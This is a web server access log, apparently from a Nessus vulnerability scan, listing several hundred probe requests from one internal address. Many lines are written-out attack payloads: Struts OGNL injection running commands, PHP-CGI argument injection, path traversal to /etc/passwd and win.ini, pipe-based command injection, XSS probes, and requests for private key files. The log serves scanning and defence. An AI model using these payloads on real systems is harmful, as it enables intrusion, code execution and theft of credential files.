[30/Apr/2022:06:35:19 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:35:20 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:35:20 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:35:20 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /unified-console.html HTTP/1.1" 196
[30/Apr/2022:06:35:20 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /login/ HTTP/1.1" 196
[30/Apr/2022:06:35:21 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /admin/airflow/login HTTP/1.1" 196
[30/Apr/2022:06:35:21 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:35:21 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /api/v1/?format=api HTTP/1.1" 196
[30/Apr/2022:06:35:21 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:35:22 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /api/v1/?format=api HTTP/1.1" 196
[30/Apr/2022:06:35:22 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:35:22 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET // HTTP/1.1" -
[30/Apr/2022:06:35:23 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:35:23 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /libs/granite/core/content/login.html HTTP/1.1" 196
[30/Apr/2022:06:35:23 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:35:24 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /system/login HTTP/1.1" 196
[30/Apr/2022:06:35:24 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:35:24 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin-sdb/printenv HTTP/1.1" 196
[30/Apr/2022:06:35:24 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /system/login HTTP/1.1" 196
[30/Apr/2022:06:35:24 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:35:24 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /courier/web/1000@/wmLogin.html HTTP/1.1" 196
[30/Apr/2022:06:35:24 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:35:25 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /servlet/admin?category=server&method=listAll&Authorization=Digest+username%3D%22admin%22%2C+response%3D%22ae9f86d6beaa3f9ecb9a5b7e072a4138%22%2C+nonce%3D%222b089ba7985a883ab2eddcd3539a6c94%22%2C+realm%3D%22adminRealm%22%2C+uri%3D%22%2Fservlet%2Fadmin%22&service= HTTP/1.0" 196
[30/Apr/2022:06:35:25 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /chassis/config/GeneralChassisConfig.html HTTP/1.1" 196
[30/Apr/2022:06:35:25 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /this_page_should_not_exist.htm HTTP/1.1" 196
[30/Apr/2022:06:35:26 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:35:26 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /qwe/qwe/index.html HTTP/1.1" 196
[30/Apr/2022:06:35:27 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:35:27 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /login.php HTTP/1.1" 226
[30/Apr/2022:06:35:28 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:35:29 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:35:29 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /favicon2.iso HTTP/1.1" 196
[30/Apr/2022:06:35:29 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-mod/index.cgi HTTP/1.1" 196
[30/Apr/2022:06:35:29 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /favicon.iso HTTP/1.1" 196
[30/Apr/2022:06:35:30 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:35:30 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET //${%23context['xwork.MethodAccessor.denyMethodExecution']=!(%23_memberAccess['allowStaticMethodAccess']=true),(@java.lang.Runtime@getRuntime()).exec('id').waitFor()}.action HTTP/1.1" 196
[30/Apr/2022:06:35:31 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:35:31 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:35:32 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "POST /flex2gateway/http HTTP/1.1" 196
[30/Apr/2022:06:35:32 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /internalServerReporting.php HTTP/1.1" 196
[30/Apr/2022:06:35:32 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "POST /flex2gateway/httpsecure HTTP/1.1" 196
[30/Apr/2022:06:35:32 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "POST /messagebroker/http HTTP/1.1" 196
[30/Apr/2022:06:35:32 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:35:32 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "POST /messagebroker/httpsecure HTTP/1.1" 196
[30/Apr/2022:06:35:33 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /conf/ssl/apache/integrity-smartcenter.key HTTP/1.1" 196
[30/Apr/2022:06:35:33 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "POST /blazeds/messagebroker/http HTTP/1.1" 196
[30/Apr/2022:06:35:33 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /conf/ssl/apache/integrity.key HTTP/1.1" 196
[30/Apr/2022:06:35:33 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "POST /blazeds/messagebroker/httpsecure HTTP/1.1" 196
[30/Apr/2022:06:35:33 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "POST /lcds/messagebroker/http HTTP/1.1" 196
[30/Apr/2022:06:35:34 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "POST /lcds/messagebroker/httpsecure HTTP/1.1" 196
[30/Apr/2022:06:35:34 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:35:34 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:35:34 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /error/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cautoexec.bat HTTP/1.1" 196
[30/Apr/2022:06:35:34 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd HTTP/1.1" 226
[30/Apr/2022:06:35:34 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-sys/defaultwebpage.cgi HTTP/1.1" 196
[30/Apr/2022:06:35:34 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /error/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwinnt%5cwin.ini HTTP/1.1" 196
[30/Apr/2022:06:35:35 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /error/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini HTTP/1.1" 196
[30/Apr/2022:06:35:35 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:35:35 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1" 226
[30/Apr/2022:06:35:39 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-sys/entropysearch.cgi HTTP/1.1" 196
[30/Apr/2022:06:35:45 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /index.cgi HTTP/1.1" 196
[30/Apr/2022:06:35:50 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /index.pl HTTP/1.1" 196
[30/Apr/2022:06:35:55 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /index.sh HTTP/1.1" 196
[30/Apr/2022:06:36:01 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /nph-mr.cgi HTTP/1.1" 196
[30/Apr/2022:06:36:06 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /query.cgi HTTP/1.1" 196
[30/Apr/2022:06:36:11 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /session_login.cgi HTTP/1.1" 196
[30/Apr/2022:06:36:16 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /show_bug.cgi HTTP/1.1" 196
[30/Apr/2022:06:36:22 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /test HTTP/1.1" 196
[30/Apr/2022:06:36:27 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /test.cgi HTTP/1.1" 196
[30/Apr/2022:06:36:30 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:36:30 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /mxhelp/cgi-bin/namazucgi?lang=/../../../../../../../../../../../../../boot.ini HTTP/1.1" 196
[30/Apr/2022:06:36:30 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:36:31 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:36:31 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /Websense/cgi-bin/WsCgiLogin.exe?Page=login&UserName=nessus%22%3e%3cscript%3ealert('websense_username_xss.nasl')%3c%2fscript%3e HTTP/1.1" 196
[30/Apr/2022:06:36:31 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /webhost HTTP/1.1" 196
[30/Apr/2022:06:36:31 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:36:31 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /console/faces/com_sun_web_ui/help/masthead.jsp?windowTitle=%3c/title%3e%3cscript%3ealert(%27sun_java_web_console_helpwindow_xss.nasl%27)%3c/script%3e HTTP/1.1" 196
[30/Apr/2022:06:36:32 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /console/faces/com_sun_web_ui/help/helpwindow.jsp?windowTitle=%3c/title%3e%3cscript%3ealert(%27sun_java_web_console_helpwindow_xss.nasl%27)%3c/script%3e HTTP/1.1" 196
[30/Apr/2022:06:36:31 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:36:32 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:36:32 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /LoginPage.do HTTP/1.1" 196
[30/Apr/2022:06:36:32 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /?\"><script>alert('struts_sa_surl_xss.nasl-1651271918')</script> HTTP/1.1" -
[30/Apr/2022:06:36:32 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /ucsm/isSamInstalled.cgi HTTP/1.1" 196
[30/Apr/2022:06:36:32 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:36:32 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:36:33 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /home.jsf?autoScroll=0%2c275)%3b%2f%2f--%3e%3c%2fscript%3e%3cscript%3ealert('myfaces_tomahawk_autoscroll_xss.nasl' HTTP/1.1" 196
[30/Apr/2022:06:36:33 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:36:33 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /index.aspx HTTP/1.1" 196
[30/Apr/2022:06:36:33 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /item.fts?href=%22%3E%3Cscript%3Ealert(%22ftgate_44002.nasl%22)%3C%2Fscript%3E%3B HTTP/1.1" 196
[30/Apr/2022:06:36:33 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /Default.aspx HTTP/1.1" 196
[30/Apr/2022:06:36:33 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:36:34 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:36:34 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /login?user=**%3Cscript%3EJavaScript:alert('cpanel_login_user_xss.nasl')%3B%3C%2Fscript%3E HTTP/1.1" 196
[30/Apr/2022:06:36:34 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:36:34 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /admin/statistics/ConfigureStatistics HTTP/1.1" 196
[30/Apr/2022:06:36:34 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /altercast/AlterCast?op=%3cscript%3ealert(%22adobe_document_server_61.nasl%22)%3c%2fscript%3e HTTP/1.1" 196
[30/Apr/2022:06:36:34 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:36:35 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /nul.dbm HTTP/1.1" 196
[30/Apr/2022:06:36:35 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:36:35 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /index.php/123 HTTP/1.1" -
[30/Apr/2022:06:36:35 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:36:35 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:36:36 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /index.jsp HTTP/1.1" 196
[30/Apr/2022:06:36:36 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /web.config HTTP/1.1" 196
[30/Apr/2022:06:36:36 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /index.jsp HTTP/1.1" 196
[30/Apr/2022:06:36:36 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /scripts/w3who.dll HTTP/1.1" 196
[30/Apr/2022:06:36:36 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:36:36 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:36:37 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/filescan HTTP/1.1" 196
[30/Apr/2022:06:36:37 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:36:37 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /enter.php?goto=%2F HTTP/1.1" 196
[30/Apr/2022:06:36:37 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /Reporting/login/change_password.php?enable_auth=0 HTTP/1.1" 196
[30/Apr/2022:06:36:37 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:36:37 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:36:38 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /struts/webconsole.html HTTP/1.1" 196
[30/Apr/2022:06:36:38 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /whois.cgi HTTP/1.1" 196
[30/Apr/2022:06:36:38 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:36:38 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:36:38 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "POST / HTTP/1.1" -
[30/Apr/2022:06:36:38 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:36:38 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:36:39 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:36:39 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:36:39 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /?class.classLoader.URLs[0]=struts_2_3_16_1_classloader_manipulation-1651271925 HTTP/1.1" -
[30/Apr/2022:06:36:39 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:36:39 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET //${1823855416+5}.action HTTP/1.1" 196
[30/Apr/2022:06:36:39 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET //struts/webconsole.html HTTP/1.1" 196
[30/Apr/2022:06:36:39 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET //${%23w%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),%23w.print('Nessus%20Response:%20'),%23w.println('struts_2_3_14_3_command_execution-1823855416'),%23w.flush(),%23w.close()}.action HTTP/1.1" 196
[30/Apr/2022:06:36:40 +0800] 10.39.104.26 TLSv1 ECDHE-RSA-AES256-SHA "GET / HTTP/1.1" -
[30/Apr/2022:06:36:40 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:36:40 +0800] 10.39.104.26 TLSv1 ECDHE-RSA-AES256-SHA "GET /db HTTP/1.1" 196
[30/Apr/2022:06:36:40 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /sc3/console.php?psid=101 HTTP/1.1" 196
[30/Apr/2022:06:36:41 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:36:41 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /.anydomain.test HTTP/1.0" 196
[30/Apr/2022:06:36:41 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:36:41 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:36:42 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "POST /%70%68%70%70%61%74%68/%70%68%70?%2d%64+%61%6c%6c%6f%77%5f%75%72%6c%5f%69%6e%63%6c%75%64%65%3d%6f%6e+%2d%64+%73%61%66%65%5f%6d%6f%64%65%3d%6f%66%66+%2d%64+%73%75%68%6f%73%69%6e%2e%73%69%6d%75%6c%61%74%69%6f%6e%3d%6f%6e+%2d%64+%64%69%73%61%62%6c%65%5f%66%75%6e%63%74%69%6f%6e%73%3d%22%22+%2d%64+%6f%70%65%6e%5f%62%61%73%65%64%69%72%3d%6e%6f%6e%65+%2d%64+%61%75%74%6f%5f%70%72%65%70%65%6e%64%5f%66%69%6c%65%3d%70%68%70%3a%2f%2f%69%6e%70%75%74+%2d%6e HTTP/1.1" 196
[30/Apr/2022:06:36:42 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:36:42 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /login_up.php3?login_name=x&passwd=x&locale_id=../../../../../../../../../../../../boot.ini%00.jpg HTTP/1.1" 196
[30/Apr/2022:06:36:42 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /php/php.exe?c:\\winnt\\win.ini HTTP/1.1" 196
[30/Apr/2022:06:36:43 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /wp-login.php HTTP/1.1" 196
[30/Apr/2022:06:36:43 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:36:43 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:36:44 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:36:45 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /xsql/demo/airport/airport.xsql?xml-stylesheet=none HTTP/1.1" 196
[30/Apr/2022:06:36:45 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:36:45 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /OvCgi/freeIPaddrs.ovpl?netnum=127.0.0.1&netmask=255.255.255.0&netid=127.0.0.1%20|%20id| HTTP/1.1" 196
[30/Apr/2022:06:36:46 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:36:46 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /setup/setup-/../../log.jsp?log=info&mode=asc&lines=10 HTTP/1.1" 196
[30/Apr/2022:06:36:47 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /lcgi/sewse.nlm?sys:/novonyx/suitespot/docs/sewse/viewcode.jse+httplist+httplist/../../../../../system/autoexec.ncf HTTP/1.1" 196
[30/Apr/2022:06:36:47 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /././.. HTTP/1.1" 226
[30/Apr/2022:06:36:48 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../../ HTTP/1.1" 226
[30/Apr/2022:06:36:48 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /wwwadmin.cgi HTTP/1.1" 196
[30/Apr/2022:06:36:49 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:36:49 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /version HTTP/1.1" 196
[30/Apr/2022:06:36:50 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:36:50 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /.%252e/.%252e/.%252e/.%252e/windows/win.ini HTTP/1.1" 196
[30/Apr/2022:06:36:50 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /.%252e/.%252e/.%252e/.%252e/winnt/win.ini HTTP/1.1" 196
[30/Apr/2022:06:36:51 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/etc/passwd HTTP/1.1" 196
[30/Apr/2022:06:36:53 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /wwwboard.cgi HTTP/1.1" 196
[30/Apr/2022:06:36:59 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /xampp/cgi.cgi HTTP/1.1" 196
[30/Apr/2022:06:37:04 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:37:04 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:37:10 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /_mt/mt.cgi HTTP/1.1" 196
